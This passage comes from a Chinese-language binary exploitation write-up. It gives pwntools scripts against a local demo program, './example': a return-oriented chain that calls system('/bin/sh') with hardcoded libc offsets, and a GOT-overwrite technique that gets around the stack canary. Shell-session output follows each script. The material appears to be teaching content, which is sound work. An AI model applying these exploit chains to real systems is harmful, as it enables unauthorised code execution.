pwn.p64(libc_base + sh_str_offset)payload += pwn.p64(libc_base + ret_offset)payload += pwn.p64(libc_base + system_offset)payload += pwn.p64(libc_base + exit_offset)conn.sendlineafter('please enter password: \n', payload)conn.interactive() |
执行后就可以成功获得shell。
1 2 3 4 5 6 7 8 | [*] Switching to interactive mode$ whoamitest$ ls /bin dev lib mnt root sbin tmpboot etc lib64 opt rootfs-pkgs.txt srv usrdesktopfs-pkgs.txt home lost+found proc run sys var$ |
5.2 exploit-篡改GOT
通过上面分析,需要先填充缓冲区变量1,使之覆盖金丝雀触发stack_check_func_hijack函数,并填充payload,之后先设置指针变量2的内存地址到.got.plt节内,再设置节中表项的数据为ret指令的地址,使之直接返回到原函数的leave指令,然后继续按照正常的流程运行,最后返回时运行之前传入的payload,使得shell弹出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | import osimport pwnpwn.context.clear()pwn.context.update( arch = 'amd64', os = 'linux')libc_base = 0x7ffff7db3000system_offset = 0x50f10sh_str_offset = 0x1aae28ret_offset = 0xfd8c5pop_rdi_ret_offset = 0xfd8c4exit_offset = 0x3f050conn = pwn.process(argv = ['./example', 's'])payload = b'A' * 0x14payload += b'B' * 0x8payload += pwn.p64(libc_base + pop_rdi_ret_offset)payload += pwn.p64(libc_base + sh_str_offset)payload += pwn.p64(libc_base + ret_offset)payload += pwn.p64(libc_base + system_offset)payload += pwn.p64(libc_base + exit_offset)conn.sendlineafter('please enter message: \n', payload)exec_base = 0x555555554000stack_check_offset = 0x4008stack_check_got_plt_addr = pwn.p64(exec_base + stack_check_offset)conn.sendlineafter('please enter address: \n', stack_check_got_plt_addr)ret_addr = pwn.p64(libc_base + ret_offset)conn.sendlineafter('please enter value: \n', ret_addr)conn.interactive() |
执行后就可以成功获得shell。
1 2 3 4 5 6 7 8 9 10 11 12 | [*] Switching to interactive mode$ whoamitest$ ls /bootamd-ucode.img initramfs-6.6-x86_64.img vmlinuz-6.6-x86_64grub linux66-x86_64.kverinitramfs-6.6-x86_64-fallback.img memtest86+$ exit[*] Got EOF while reading in interactive$ [*] Process './example' stopped with exit code 2 (pid 4579)[*] Got EOF while sending in interactive |